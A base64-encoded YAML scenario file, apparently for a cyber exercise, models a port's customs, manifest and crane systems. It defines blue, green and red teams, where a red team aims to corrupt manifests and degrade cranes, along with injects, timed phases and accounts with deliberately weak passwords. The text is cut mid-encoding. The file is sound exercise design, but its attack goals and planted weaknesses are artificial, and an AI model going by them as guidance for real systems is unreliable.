KICBnYXRlLXByb2Nlc3NpbmctaGVhbHRoeToKICAgIGNvbW1hbmQ6IC91c3IvbG9jYWwvYmluL2NoZWNrLWdhdGUtcHJvY2Vzc2luZwogICAgaW50ZXJ2YWw6IDMwCiAgY2FtZXJhLWFuYWx5dGljcy1oZWFsdGh5OgogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2stY2FtZXJhLWFuYWx5dGljcwogICAgaW50ZXJ2YWw6IDMwCiAgeWFyZC10ZWxlbWV0cnktZmxvd2luZzoKICAgIHByb3Bvc2l0aW9uOiB5YXJkLXRlbGVtZXRyeS1mbG93aW5nCiAgICBjb21tYW5kOiAvdXNyL2xvY2FsL2Jpbi9jaGVjay15YXJkLXRlbGVtZXRyeQogICAgaW50ZXJ2YWw6IDE1CiAgaGlzdG9yaWFuLXJlcGxpY2F0aW9uLW9rOgogICAgcHJvcG9zaXRpb246IGhpc3Rvcmlhbi1yZXBsaWNhdGlvbi1vawogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2staGlzdG9yaWFuLXJlcGxpY2F0aW9uCiAgICBpbnRlcnZhbDogMzAKICB2ZW5kb3ItanVtcC1oZWFsdGh5OgogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2stdmVuZG9yLWp1bXAKICAgIGludGVydmFsOiAzMAogIHNvYy1mZWVkLWhlYWx0aHk6CiAgICBjb21tYW5kOiAvdXNyL2xvY2FsL2Jpbi9jaGVjay1zb2MtZmVlZAogICAgaW50ZXJ2YWw6IDMwCiAgc3VyZ2UtaW5jaWRlbnQtdGlja2V0ZWQ6CiAgICBjb21tYW5kOiAvdXNyL2xvY2FsL2Jpbi9jaGVjay1zdXJnZS10aWNrZXQKICAgIGludGVydmFsOiA2MAogIGJsYWNrc3RhcnQtcnVuYm9vay1yZWFkeToKICAgIGNvbW1hbmQ6IC91c3IvbG9jYWwvYmluL2NoZWNrLWJsYWNrc3RhcnQtcnVuYm9vawogICAgaW50ZXJ2YWw6IDYwCnByb3Bvc2l0aW9uczoKICBjcmFuZS1zYWZlLW1vZGU6CiAgICBkZXNjcmlwdGlvbjogVGhlIGdvdmVybmVkIGNyYW5lLXNhZmUtbW9kZSBvYnNlcnZhdGlvbiBpcyB0cnVlIGZvciB0aGUgYWRkcmVzc2VkIHNjZW5hcmlvIHN1YmplY3QuCiAgICBzdWJqZWN0czoKICAgIC0gbm9kZXMueWFyZC1obWkKICAgIGJhc2lzOiBvYnNlcnZlZF9zdGF0ZQogICAgcHJlZGljYXRlOgogICAgICBraW5kOiBib29sZWFuCiAgICAgIHByb3BlcnR5OiBjcmFuZS1zYWZlLW1vZGUKICAgICAgc2VtYW50aWNfcmVmOiB1cm46cmFlczpvYnNlcnZhYmxlOmNyYW5lLXNhZmUtbW9kZQogICAgICBvcGVyYXRvcjogZXF1YWxzCiAgICAgIGV4cGVjdGVkOiB0cnVlCiAgICBxdWFudGlmaWVyOiBhbGwKICAgIGV2aWRlbmNlX3JlcXVpcmVtZW50czoKICAgIC0gb2JqZWN0aXZlLXRydXRoLWV2aWRlbmNlCiAgY3VzdG9tcy1saW5rLWhlYWx0aHk6CiAgICBkZXNjcmlwdGlvbjogVGhlIGdvdmVybmVkIGN1c3RvbXMtbGluay1oZWFsdGh5IG9ic2VydmF0aW9uIGlzIHRydWUgZm9yIHRoZSBhZGRyZXNzZWQgc2NlbmFyaW8gc3ViamVjdC4KICAgIHN1YmplY3RzOgogICAgLSBub2Rlcy5jdXN0b21zLWdhdGV3YXkKICAgIGJhc2lzOiBvYnNlcnZlZF9zdGF0ZQogICAgcHJlZGljYXRlOgogICAgICBraW5kOiBib29sZWFuCiAgICAgIHByb3BlcnR5OiBjdXN0b21zLWxpbmstaGVhbHRoeQogICAgICBzZW1hbnRpY19yZWY6IHVybjpyYWVzOm9ic2VydmFibGU6Y3VzdG9tcy1saW5rLWhlYWx0aHkKICAgICAgb3BlcmF0b3I6IGVxdWFscwogICAgICBleHBlY3RlZDogdHJ1ZQogICAgcXVhbnRpZmllcjogYWxsCiAgICBldmlkZW5jZV9yZXF1aXJlbWVudHM6CiAgICAtIG9iamVjdGl2ZS10cnV0aC1ldmlkZW5jZQogIGhpc3Rvcmlhbi1yZXBsaWNhdGlvbi1vazoKICAgIGRlc2NyaXB0aW9uOiBUaGUgZ292ZXJuZWQgaGlzdG9yaWFuLXJlcGxpY2F0aW9uLW9rIG9ic2VydmF0aW9uIGlzIHRydWUgZm9yIHRoZSBhZGRyZXNzZWQgc2NlbmFyaW8gc3ViamVjdC4KICAgIHN1YmplY3RzOgogICAgLSBub2Rlcy5oaXN0b3JpYW4wMQogICAgYmFzaXM6IG9ic2VydmVkX3N0YXRlCiAgICBwcmVkaWNhdGU6CiAgICAgIGtpbmQ6IGJvb2xlYW4KICAgICAgcHJvcGVydHk6IGhpc3Rvcmlhbi1yZXBsaWNhdGlvbi1vawogICAgICBzZW1hbnRpY19yZWY6IHVybjpyYWVzOm9ic2VydmFibGU6aGlzdG9yaWFuLXJlcGxpY2F0aW9uLW9rCiAgICAgIG9wZXJhdG9yOiBlcXVhbHMKICAgICAgZXhwZWN0ZWQ6IHRydWUKICAgIHF1YW50aWZpZXI6IGFsbAogICAgZXZpZGVuY2VfcmVxdWlyZW1lbnRzOgogICAgLSBvYmplY3RpdmUtdHJ1dGgtZXZpZGVuY2UKICBtYW5pZmVzdC1pbnRlZ3JpdHktb2s6CiAgICBkZXNjcmlwdGlvbjogVGhlIGdvdmVybmVkIG1hbmlmZXN0LWludGVncml0eS1vayBvYnNlcnZhdGlvbiBpcyB0cnVlIGZvciB0aGUgYWRkcmVzc2VkIHNjZW5hcmlvIHN1YmplY3QuCiAgICBzdWJqZWN0czoKICAgIC0gbm9kZXMubWFuaWZlc3QtZGIKICAgIGJhc2lzOiBvYnNlcnZlZF9zdGF0ZQogICAgcHJlZGljYXRlOgogICAgICBraW5kOiBib29sZWFuCiAgICAgIHByb3BlcnR5OiBtYW5pZmVzdC1pbnRlZ3JpdHktb2sKICAgICAgc2VtYW50aWNfcmVmOiB1cm46cmFlczpvYnNlcnZhYmxlOm1hbmlmZXN0LWludGVncml0eS1vawogICAgICBvcGVyYXRvcjogZXF1YWxzCiAgICAgIGV4cGVjdGVkOiB0cnVlCiAgICBxdWFudGlmaWVyOiBhbGwKICAgIGV2aWRlbmNlX3JlcXVpcmVtZW50czoKICAgIC0gb2JqZWN0aXZlLXRydXRoLWV2aWRlbmNlCiAgdGFtcGVyZWQtbWFuaWZlc3Qtb2JzZXJ2ZWQ6CiAgICBkZXNjcmlwdGlvbjogVGhlIGdvdmVybmVkIHRhbXBlcmVkLW1hbmlmZXN0LW9ic2VydmVkIG9ic2VydmF0aW9uIGlzIHRydWUgZm9yIHRoZSBhZGRyZXNzZWQgc2NlbmFyaW8gc3ViamVjdC4KICAgIHN1YmplY3RzOgogICAgLSBub2Rlcy5tYW5pZmVzdC1kYgogICAgYmFzaXM6IG9ic2VydmVkX3N0YXRlCiAgICBwcmVkaWNhdGU6CiAgICAgIGtpbmQ6IGJvb2xlYW4KICAgICAgcHJvcGVydHk6IHRhbXBlcmVkLW1hbmlmZXN0LW9ic2VydmVkCiAgICAgIHNlbWFudGljX3JlZjogdXJuOnJhZXM6b2JzZXJ2YWJsZTp0YW1wZXJlZC1tYW5pZmVzdC1vYnNlcnZlZAogICAgICBvcGVyYXRvcjogZXF1YWxzCiAgICAgIGV4cGVjdGVkOiB0cnVlCiAgICBxdWFudGlmaWVyOiBhbGwKICAgIGV2aWRlbmNlX3JlcXVpcmVtZW50czoKICAgIC0gb2JqZWN0aXZlLXRydXRoLWV2aWRlbmNlCiAgeWFyZC10ZWxlbWV0cnktZmxvd2luZzoKICAgIGRlc2NyaXB0aW9uOiBUaGUgZ292ZXJuZWQgeWFyZC10ZWxlbWV0cnktZmxvd2luZyBvYnNlcnZhdGlvbiBpcyB0cnVlIGZvciB0aGUgYWRkcmVzc2VkIHNjZW5hcmlvIHN1YmplY3QuCiAgICBzdWJqZWN0czoKICAgIC0gbm9kZXMuaGlzdG9yaWFuMDEKICAgIGJhc2lzOiBvYnNlcnZlZF9zdGF0ZQogICAgcHJlZGljYXRlOgogICAgICBraW5kOiBib29sZWFuCiAgICAgIHByb3BlcnR5OiB5YXJkLXRlbGVtZXRyeS1mbG93aW5nCiAgICAgIHNlbWFudGljX3JlZjogdXJuOnJhZXM6b2JzZXJ2YWJsZTp5YXJkLXRlbGVtZXRyeS1mbG93aW5nCiAgICAgIG9wZXJhdG9yOiBlcXVhbHMKICAgICAgZXhwZWN0ZWQ6IHRydWUKICAgIHF1YW50aWZpZXI6IGFsbAogICAgZXZpZGVuY2VfcmVxdWlyZW1lbnRzOgogICAgLSBvYmplY3RpdmUtdHJ1dGgtZXZpZGVuY2UKYXNzZXJ0aW9uczoKICBjcmFuZS1zYWZlLW1vZGU6CiAgICBwcm9wb3NpdGlvbjogY3JhbmUtc2FmZS1tb2RlCiAgICByb2xlOiBwb3N0Y29uZGl0aW9uCiAgICBwb2xhcml0eTogcG9zaXRpdmUKICBjdXN0b21zLWxpbmstaGVhbHRoeToKICAgIHByb3Bvc2l0aW9uOiBjdXN0b21zLWxpbmstaGVhbHRoeQogICAgcm9sZTogcG9zdGNvbmRpdGlvbgogICAgcG9sYXJpdHk6IHBvc2l0aXZlCiAgaGlzdG9yaWFuLXJlcGxpY2F0aW9uLW9rOgogICAgcHJvcG9zaXRpb246IGhpc3Rvcmlhbi1yZXBsaWNhdGlvbi1vawogICAgcm9sZTogcG9zdGNvbmRpdGlvbgogICAgcG9sYXJpdHk6IHBvc2l0aXZlCiAgbWFuaWZlc3QtaW50ZWdyaXR5LW9rOgogICAgcHJvcG9zaXRpb246IG1hbmlmZXN0LWludGVncml0eS1vawogICAgcm9sZTogcG9zdGNvbmRpdGlvbgogICAgcG9sYXJpdHk6IHBvc2l0aXZlCiAgdGFtcGVyZWQtbWFuaWZlc3Qtb2JzZXJ2ZWQ6CiAgICBwcm9wb3NpdGlvbjogdGFtcGVyZWQtbWFuaWZlc3Qtb2JzZXJ2ZWQKICAgIHJvbGU6IHBvc3Rjb25kaXRpb24KICAgIHBvbGFyaXR5OiBwb3NpdGl2ZQogIHlhcmQtdGVsZW1ldHJ5LWZsb3dpbmc6CiAgICBwcm9wb3NpdGlvbjogeWFyZC10ZWxlbWV0cnktZmxvd2luZwogICAgcm9sZTogcG9zdGNvbmRpdGlvbgogICAgcG9sYXJpdHk6IHBvc2l0aXZlCiAgcHJlLXRhbXBlcmVkLW1hbmlmZXN0LW9ic2VydmVkOgogICAgcHJvcG9zaXRpb246IHRhbXBlcmVkLW1hbmlmZXN0LW9ic2VydmVkCiAgICByb2xlOiBwcmVjb25kaXRpb24KICAgIHBvbGFyaXR5OiBwb3NpdGl2ZQpldmlkZW5jZV9yZXF1aXJlbWVudHM6CiAgb2JqZWN0aXZlLXRydXRoLWV2aWRlbmNlOgogICAgZGVzY3JpcHRpb246IENhcHR1cmUgZXZpZGVuY2UgdXNlZCB0byBkZWNpZGUgYXV0aG9yZWQgcHJvcG9zaXRpb24gYXNzZXJ0aW9ucy4KICAgIHNvdXJjZV9yZWZzOgogICAgLSBub2Rlcy5tYW5pZmVzdC1kYgogICAgLSBub2Rlcy5oaXN0b3JpYW4wMQogICAgLSBub2Rlcy5jdXN0b21zLWdhdGV3YXkKICAgIC0gbm9kZXMueWFyZC1obWkKICAgIHNjb3BlOiBhdXRob3JlZCBvYmplY3RpdmUsIGV2ZW50LCB3b3JrZmxvdywgYW5kIHBhcnRpY2lwYW50IGFzc2VydGlvbiBldmFsdWF0aW9uCiAgICBib3VuZGFyeV9raW5kOiBhc3NlcnRpb25fZXZhbHVhdGlvbgogICAgY2hhbm5lbDogbG9nCiAgICBhcnRpZmFjdF9yb2xlOiBwcm9wb3NpdGlvbl90cnV0aF9ldmlkZW5jZQogICAgbWVkaWFfdHlwZXM6IFthcHBsaWNhdGlvbi9qc29uXQogICAgc2Vuc2l0aXZpdHk6IHBsYWluCiAgICByZWRhY3Rpb246IHJlZGFjdF9zZWNyZXRzCiAgICBpbnRlZ3JpdHk6IGNoZWNrc3VtCiAgICByZXRlbnRpb246IHN0dWR5X2xpZmV0aW1lCiAgICBsb3NzX2Rpc2Nsb3N1cmU6IHJlcXVpcmVkCmVudGl0aWVzOgogIHBvcnQtYmx1ZToKICAgIG5hbWU6IFBvcnQgQXV0aG9yaXR5IEJsdWUgVGVhbQogICAgcm9sZTogYmx1ZQogICAgbWlzc2lvbjogTWFpbnRhaW4gY3VzdG9tcyBpbnRlZ3JpdHkgYW5kIHNhZmUgeWFyZCBvcGVyYXRpb25zIGR1cmluZyB0aGUgc3VyZ2UKICAgIGVudGl0aWVzOgogICAgICBpdDoKICAgICAgICBuYW1lOiBQb3J0IElUCiAgICAgIHlhcmQtb3BzOgogICAgICAgIG5hbWU6IFlhcmQgT3BlcmF0aW9ucwogICAgICBpbmNpZGVudC1jb21tYW5kOgogICAgICAgIG5hbWU6IEluY2lkZW50IENvbW1hbmQKICBjdXN0b21zLWFnZW5jeToKICAgIG5hbWU6IEN1c3RvbXMgQWdlbmN5CiAgICByb2xlOiBncmVlbgogICAgbWlzc2lvbjogQ2xlYXIgaW5ib3VuZCBjYXJnbyB3aXRob3V0IGNvbXByb21pc2luZyBjb21wbGlhbmNlCiAgdmVuZG9yLW1haW50ZW5hbmNlOgogICAgbmFtZTogVmVuZG9yIE1haW50ZW5hbmNlCiAgICByb2xlOiBncmVlbgogICAgbWlzc2lvbjogTWFpbnRhaW4gcmVtb3RlIHN1cHBvcnQgcGF0aCBmb3IgY3JhbmUgc3lzdGVtcwogIHJlZC1jYXJ0ZWw6CiAgICBuYW1lOiBSZWQgQ2FydGVsCiAgICByb2xlOiByZWQKICAgIG1pc3Npb246IENvcnJ1cHQgbWFuaWZlc3RzIGFuZCBkZWdyYWRlIGNyYW5lIG9wZXJhdGlvbnMKICB3aGl0ZS1jZWxsOgogICAgbmFtZTogV2hpdGUgQ2VsbAogICAgcm9sZTogd2hpdGUKaW5qZWN0czoKICBzdXJnZS1icmllZjoKICAgIHNvdXJjZToKICAgICAgbmFtZTogc3VyZ2UtZGF5LWJyaWVmCiAgICAgIHZlcnNpb246ICcqJwogICAgZnJvbV9lbnRpdHk6IHdoaXRlLWNlbGwKICAgIHRvX2VudGl0aWVzOgogICAgLSBwb3J0LWJsdWUKICAgIC0gY3VzdG9tcy1hZ2VuY3kKICAgIGRlc2NyaXB0aW9uOiBDYXJnbyBzdXJnZSBhbmQgcHJpb3JpdHkgaHVtYW5pdGFyaWFuIHNoaXBtZW50cyBhbm5vdW5jZWQKICBjdXN0b21zLXByaW9yaXR5LXRpY2tldDoKICAgIHNvdXJjZToKICAgICAgbmFtZTogY3VzdG9tcy1wcmlvcml0eS10aWNrZXQKICAgICAgdmVyc2lvbjogJyonCiAgICBmcm9tX2VudGl0eTogY3VzdG9tcy1hZ2VuY3kKICAgIHRvX2VudGl0aWVzOgogICAgLSBwb3J0LWJsdWUKICAgIGRlc2NyaXB0aW9uOiBIaWdoLXByaW9yaXR5IG1hbmlmZXN0IHZhbGlkYXRpb24gcmVxdWVzdAogIHNhZmV0eS1zdGFuZGRvd246CiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IHNhZmV0eS1zdGFuZGRvd24tb3JkZXIKICAgICAgdmVyc2lvbjogJyonCiAgICBmcm9tX2VudGl0eTogd2hpdGUtY2VsbAogICAgdG9fZW50aXRpZXM6CiAgICAtIHBvcnQtYmx1ZQogICAgLSB2ZW5kb3ItbWFpbnRlbmFuY2UKICAgIGRlc2NyaXB0aW9uOiBDcmFuZSBhbm9tYWxpZXMgdHJpZ2dlciBhIHNhZmV0eSBzdGFuZGRvd24KZXZlbnRzOgogIHZlc3NlbC1hcnJpdmFsOgogICAgaW5qZWN0czoKICAgIC0gc3VyZ2UtYnJpZWYKICBjdXN0b21zLXN1cmdlLWV2ZW50OgogICAgaW5qZWN0czoKICAgIC0gY3VzdG9tcy1wcmlvcml0eS10aWNrZXQKICB5YXJkLXN0YW5kZG93bjoKICAgIGFzc2VydGlvbnM6CiAgICAtIHByZS10YW1wZXJlZC1tYW5pZmVzdC1vYnNlcnZlZAogICAgaW5qZWN0czoKICAgIC0gc2FmZXR5LXN0YW5kZG93bgpzY3JpcHRzOgogIGFycml2YWwtcGhhc2U6CiAgICBzdGFydF90aW1lOiAwCiAgICBlbmRfdGltZTogNzIwMAogICAgc3BlZWQ6IDEuMAogICAgZXZlbnRzOgogICAgICB2ZXNzZWwtYXJyaXZhbDogOTAwCiAgY3VzdG9tcy1zdXJnZS1waGFzZToKICAgIHN0YXJ0X3RpbWU6IDcyMDAKICAgIGVuZF90aW1lOiAxNDQwMAogICAgc3BlZWQ6IDEuMAogICAgZXZlbnRzOgogICAgICBjdXN0b21zLXN1cmdlLWV2ZW50OiA5MDAwCiAgeWFyZC1kaXNydXB0aW9uLXBoYXNlOgogICAgc3RhcnRfdGltZTogMTQ0MDAKICAgIGVuZF90aW1lOiAyNTIwMAogICAgc3BlZWQ6IDEuMAogICAgZXZlbnRzOgogICAgICB5YXJkLXN0YW5kZG93bjogMTgwMDAKc3RvcmllczoKICBzdXJnZS1kYXk6CiAgICBzY3JpcHRzOgogICAgLSBhcnJpdmFsLXBoYXNlCiAgICAtIGN1c3RvbXMtc3VyZ2UtcGhhc2UKICAgIC0geWFyZC1kaXNydXB0aW9uLXBoYXNlCmNvbnRlbnQ6CiAgY2FyZ28tbWFuaWZlc3RzOgogICAgdHlwZTogZGF0YXNldAogICAgdGFyZ2V0OiBtYW5pZmVzdC1kYgogICAgc291cmNlOgogICAgICBuYW1lOiBjYXJnby1tYW5pZmVzdC1zZWVkCiAgICAgIHZlcnNpb246ICcqJwogICAgZm9ybWF0OiBjc3YKICAgIHNlbnNpdGl2ZTogdHJ1ZQogIGhhem1hdC1saXN0OgogICAgdHlwZTogZmlsZQogICAgdGFyZ2V0OiB0ZXJtaW5hbC1vcHMKICAgIHBhdGg6IC9zcnYvdG9zL2hhem1hdC1saXN0LmNzdgogICAgdGV4dDogY29udGFpbmVyX2lkLGNsYXNzaWZpY2F0aW9uXG5IWi0yMDQsZmxhbW1hYmxlXG5IWi05OTEsb3hpZGl6ZXIKICAgIHNlbnNpdGl2ZTogdHJ1ZQogIGN1c3RvbXMtaG9sZHM6CiAgICB0eXBlOiBkYXRhc2V0CiAgICB0YXJnZXQ6IGN1c3RvbXMtZ2F0ZXdheQogICAgZm9ybWF0OiBqc29uCiAgICBpdGVtczoKICAgIC0gbmFtZTogaG9sZC1oei0yMDQKICAgICAgZGlzcGxheV9uYW1lOiBob2xkLUhaLTIwNC5qc29uCiAgICAgIHRhZ3M6CiAgICAgIC0gY3VzdG9tcwogICAgICAtIGhvbGQKICAgICAgZGVzY3JpcHRpb246IEhvbGQgb3JkZXIgZm9yIGhhemFyZG91cyBjb250YWluZXIgSFotMjA0CiAgICAtIG5hbWU6IGhvbGQtaHotOTkxCiAgICAgIGRpc3BsYXlfbmFtZTogaG9sZC1IWi05OTEuanNvbgogICAgICB0YWdzOgogICAgICAtIGN1c3RvbXMKICAgICAgLSBob2xkCiAgICAgIGRlc2NyaXB0aW9uOiBIb2xkIG9yZGVyIGZvciBoYXphcmRvdXMgY29udGFpbmVyIEhaLTk5MQogIHlhcmQtY2FtZXJhLWNsaXBzOgogICAgdHlwZTogZGF0YXNldAogICAgdGFyZ2V0OiBjYW1lcmEtYW5hbHl0aWNzCiAgICBzb3VyY2U6CiAgICAgIG5hbWU6IHlhcmQtY2FtZXJhLWNsaXAtc2VlZAogICAgICB2ZXJzaW9uOiAnKicKICAgIGZvcm1hdDogbXA0CiAgICBzZW5zaXRpdmU6IHRydWUKICBibGFja3N0YXJ0LXJ1bmJvb2s6CiAgICB0eXBlOiBmaWxlCiAgICB0YXJnZXQ6IGJhY2t1cC12YXVsdAogICAgcGF0aDogL3Nydi9ydW5ib29rcy95YXJkLWJsYWNrc3RhcnQubWQKICAgIHRleHQ6IFJlLWVzdGFibGlzaCBoaXN0b3JpYW4sIHZhbGlkYXRlIFBMQywgdGhlbiByZXR1cm4gSE1JIHRvIHNlcnZpY2UuCiAgICBzZW5zaXRpdmU6IHRydWUKYWNjb3VudHM6CiAgaGFyYm9yLW1hc3RlcjoKICAgIHVzZXJuYW1lOiBoYXJib3IubWFzdGVyCiAgICBub2RlOiB0ZXJtaW5hbC1vcHMKICAgIGdyb3VwczoKICAgIC0gT3BlcmF0aW9ucwogICAgcGFzc3dvcmRfc3RyZW5ndGg6IHN0cm9uZwogIGN1c3RvbXMtb2ZmaWNlcjoKICAgIHVzZXJuYW1lOiBjdXN0b21zLm9mZmljZXIKICAgIG5vZGU6IGN1c3RvbXMtZ2F0ZXdheQogICAgZ3JvdXBzOgogICAgLSBDdXN0b21zCiAgICBwYXNzd29yZF9zdHJlbmd0aDogc3Ryb25nCiAgY3JhbmUtb3BlcmF0b3I6CiAgICB1c2VybmFtZTogY3JhbmUub3BzCiAgICBub2RlOiB5YXJkLWhtaQogICAgZ3JvdXBzOgogICAgLSBZYXJkT3BzCiAgICBwYXNzd29yZF9zdHJlbmd0aDogbWVkaXVtCiAgdmVuZG9yLXRlY2g6CiAgICB1c2VybmFtZTogdmVuZG9yCiAgICBub2RlOiB2ZW5kb3ItanVtcAogICAgZ3JvdXBzOgogICAgLSBWZW5kb3JzCiAgICBwYXNzd29yZF9zdHJlbmd0aDogbWVkaXVtCiAgdG9zLXNlcnZpY2U6CiAgICB1c2VybmFtZTogdG9zX3N2YwogICAgbm9kZTogdGVybWluYWwtb3BzCiAgICBncm91cHM6CiAgICAtIEFwcFNlcnZpY2VzCiAgICBwYXNzd29yZF9zdHJlbmd0aDogd2VhawogIGhpc3Rvcmlhbi1zdmM6CiAgICB1c2VybmFtZTogaGlzdF9zdmMKICAgIG5vZGU6IGhpc3RvcmlhbjAxCiAgICBncm91cHM6CiAgICAtIEhpc3RvcmlhbgogICAgcGFzc3dvcmRfc3RyZW5ndGg6IG1lZGl1bQogIHNvYy1hbmFseXN0OgogICAgdXNlcm5hbWU6IHNvY2FuYWx5c3QKICAgIG5vZGU6IHNvYzAxCiAgICBncm91cHM6CiAgICAtIFNPQwogICAgcGFzc3dvcmRfc3RyZW5ndGg6IHN0cm9uZwpyZWxhdGlvbnNoaXBzOgogIHBvcnRhbC10by1tYW5pZmVzdDoKICAgIHR5cGU6IGNvbm5lY3RzX3RvCiAgICBzb3VyY2U6IHNoaXBwaW5nLXBvcnRhbC1hcHAKICAgIHRhcmdldDogbWFuaWZlc3Qtc3RvcmUKICAgIHByb3BlcnRpZXM6CiAgICAgIHByb3RvY29sOiB0Y3AKICAgICAgcG9ydDogJzU0MzInCiAgdGVybWluYWwtYXV0aC1wb3J0aWRwOgogICAgdHlwZTogYXV0aGVudGljYXRlc193aXRoCiAgICBzb3VyY2U6IHRlcm1pbmFsLXNlcnZpY2UKICAgIHRhcmdldDogcG9ydC1zc28KICBjdXN0b21zLWZlZGVyYXRlcy1wb3J0OgogICAgdHlwZTogZmVkZXJhdGVzX3dpdGgKICAgIHNvdXJjZTogY3VzdG9tcy1hcGkKICAgIHRhcmdldDogcG9ydC1zc28KICAgIHByb3BlcnRpZXM6CiAgICAgIHByb3RvY29sOiBPSURDCiAgaG1pLW1hbmFnZXMtY3JhbmU6CiAgICB0eXBlOiBtYW5hZ2VzCiAgICBzb3VyY2U6IHlhcmQtaG1pLWFwcAogICAgdGFyZ2V0OiBjcmFuZS1jb250cm9sCiAgaGlzdG9yaWFuLXJlcGxpY2F0ZXMtYmFja3VwOgogICAgdHlwZTogcmVwbGljYXRlc190bwogICAgc291cmNlOiBoaXN0b3JpYW4tc2VydmljZQogICAgdGFyZ2V0OiB5YXJkLWJhY2t1cAogIHZlbmRvci1zdXBwb3J0LXBhdGg6CiAgICB0eXBlOiBhdXRoZW50aWNhdGVzX3dpdGgKICAgIHNvdXJjZTogdmVuZG9yLXRlY2gKICAgIHRhcmdldDogeWFyZC1obWkKICB0ZXJtaW5hbC1kZXBlbmRzLWN1c3RvbXM6CiAgICB0eXBlOiBkZXBlbmRzX29uCiAgICBzb3VyY2U6IHRlcm1pbmFsLXNlcnZpY2UKICAgIHRhcmdldDogY3VzdG9tcy1hcGkKIyBBYnN0cmFjdCBhY3Rpb24gaW50ZW50OyBiYWNrZW5kIHJlYWxpemF0aW9uIGFuZCBhdXRob3JpemF0aW9uIHJlbWFpbiBzZXBhcmF0ZS4KYWN0aW9uX2NvbnRyYWN0czoKICBjb29yZGluYXRlOgogICAgc2VtYW50aWNfdmVyc2lvbjogMS4wLjAKICAgIGJlaGF2aW9yYWxfZ3JhbnVsYXJpdHk6IGF0b21pYwogICAgcHJvY2VkdXJlX2Jhc2lzOiBTY2VuYXJpby1kZWNsYXJlZCBDb29yZGluYXRlIGludGVudAogICAgcmVhbGl6YXRpb25fcHJvZmlsZTogYWJzdHJhY3QKICAgIGZpZGVsaXR5X2NsYWltOiBQb3J0YWJsZSBpbnRlbnQgb25seTsgbm8gYmFja2VuZCBwcm9jZWR1cmUsIHN1Y2Nlc3NmdWwgZWZmZWN0LCBvciBhdXRob3JpdHkgaXMgYXNzZXJ0ZWQuCiAgICBwcmVjb25kaXRpb25zOgogICAgLSBwcmVjb25kaXRpb25faWQ6IGF1dGhvcml6ZWQKICAgICAgcHJlY29uZGl0aW9uX2NsYXNzOiBhdXRob3JpdHkKICAgICAgZGVzY3JpcHRpb246IEluZGVwZW5kZW50IGF1dGhvcml6YXRpb24gaXMgcmVxdWlyZWQgYmVmb3JlIGFueSByZWFsaXphdGlvbi4KICAgIGVmZmVjdHM6CiAgICAtIGVmZmVjdF9pZDogaW50ZW5kZWQKICAgICAgZWZmZWN0X2NsYXNzOiBpbnRlbmRlZF9lZmZlY3QKICAgICAgZGVzY3JpcHRpb246IEF0dGVtcHQgQ29vcmRpbmF0ZSBhZ2FpbnN0IHRoZSBzY2VuYXJpby1kZWNsYXJlZCBzdWJqZWN0IHNldC4KICAgICAgdGFyZ2V0X3JlZnM6CiAgICAgIC0gY3VzdG9tcy1mZWRlcmF0ZXMtcG9ydAogICAgICAtIGN1c3RvbXMtZ2F0ZXdheQogICAgICAtIG1hbmlmZXN0LWRiCiAgICBmYWlsdXJlX2NsYXNzZXM6CiAgICAtIGF1dGhvcml0eV9kZW5pZWQKICAgIC0gdGFyZ2V0X3VuYXZhaWxhYmxlCiAgICAtIHVua25vd24KICBkaXNhYmxlOgogICAgc2VtYW50aWNfdmVyc2lvbjogMS4wLjAKICAgIGJlaGF2aW9yYWxfZ3JhbnVsYXJpdHk6IGF0b21pYwogICAgcHJvY2VkdXJlX2Jhc2lzOiBTY2VuYXJpby1kZWNsYXJlZCBEaXNhYmxlIGludGVudAogICAgcmVhbGl6YXRpb25fcHJvZmlsZTogYWJzdHJhY3QKICAgIGZpZGVsaXR5X2NsYWltOiBQb3J0YWJsZSBpbnRlbnQgb25seTsgbm8gYmFja2VuZCBwcm9jZWR1cmUsIHN1Y2Nlc3NmdWwgZWZmZWN0LCBvciBhdXRob3JpdHkgaXMgYXNzZXJ0ZWQuCiAgICBwcmVjb25kaXRpb25zOgogICAgLSBwcmVjb25kaXRpb25faWQ6IGF1dGhvcml6ZWQKICAgICAgcHJlY29uZGl0aW9uX2NsYXNzOiBhdXRob3JpdHkKICAgICAgZGVzY3JpcHRpb246IEluZGVwZW5kZW50IGF1dGhvcml6YXRpb24gaXMgcmVxdWlyZWQgYmVmb3JlIGFueSByZWFsaXphdGlvbi4KICAgIGVmZmVjdHM6CiAgICAtIGVmZmVjdF9pZDogaW50ZW5kZWQKICAgICAgZWZmZWN0X2NsYXNzOiBpbnRlbmRlZF9lZmZlY3QKICAgICAgZGVzY3JpcHRpb246IEF0dGVtcHQgRGlzYWJsZSBhZ2FpbnN0IHRoZSBzY2VuYXJpby1kZWNsYXJlZCBzdWJqZWN0IHNldC4KICAgICAgdGFyZ2V0X3JlZnM6CiAgICAgIC0gc2hpcHBpbmctcG9ydGFsCiAgICAgIC0gdmVuZG9yLWp1bXAKICAgICAgLSB5YXJkLWhtaQogICAgZmFpbHVyZV9jbGFzc2VzOgogICAgLSBhdXRob3JpdHlfZGVuaWVkCiAgICAtIHRhcmdldF91bmF2YWlsYWJsZQogICAgLSB1bmtub3duCiAgaW5zcGVjdDoKICAgIHNlbWFudGljX3ZlcnNpb246IDEuMC4wCiAgICBiZWhhdmlvcmFsX2dyYW51bGFyaXR5OiBhdG9taWMKICAgIHByb2NlZHVyZV9iYXNpczogU2NlbmFyaW8tZGVjbGFyZWQgSW5zcGVjdCBpbnRlbnQKICAgIHJlYWxpemF0aW9uX3Byb2ZpbGU6IGFic3RyYWN0CiAgICBmaWRlbGl0eV9jbGFpbTogUG9ydGFibGUgaW50ZW50IG9ubHk7IG5vIGJhY2tlbmQgcHJvY2VkdXJlLCBzdWNjZXNzZnVsIGVmZmVjdCwgb3IgYXV0aG9yaXR5IGlzIGFzc2VydGVkLgogICAgcHJlY29uZGl0aW9uczoKICAgIC0gcHJlY29uZGl0aW9uX2lkOiBhdXRob3JpemVkCiAgICAgIHByZWNvbmRpdGlvbl9jbGFzczogYXV0aG9yaXR5CiAgICAgIGRlc2NyaXB0aW9uOiBJbmRlcGVuZGVudCBhdXRob3JpemF0aW9uIGlzIHJlcXVpcmVkIGJlZm9yZSBhbnkgcmVhbGl6YXRpb24uCiAgICBlZmZlY3RzOgogICAgLSBlZmZlY3RfaWQ6IGludGVuZGVkCiAgICAgIGVmZmVjdF9jbGFzczogaW50ZW5kZWRfZWZmZWN0CiAgICAgIGRl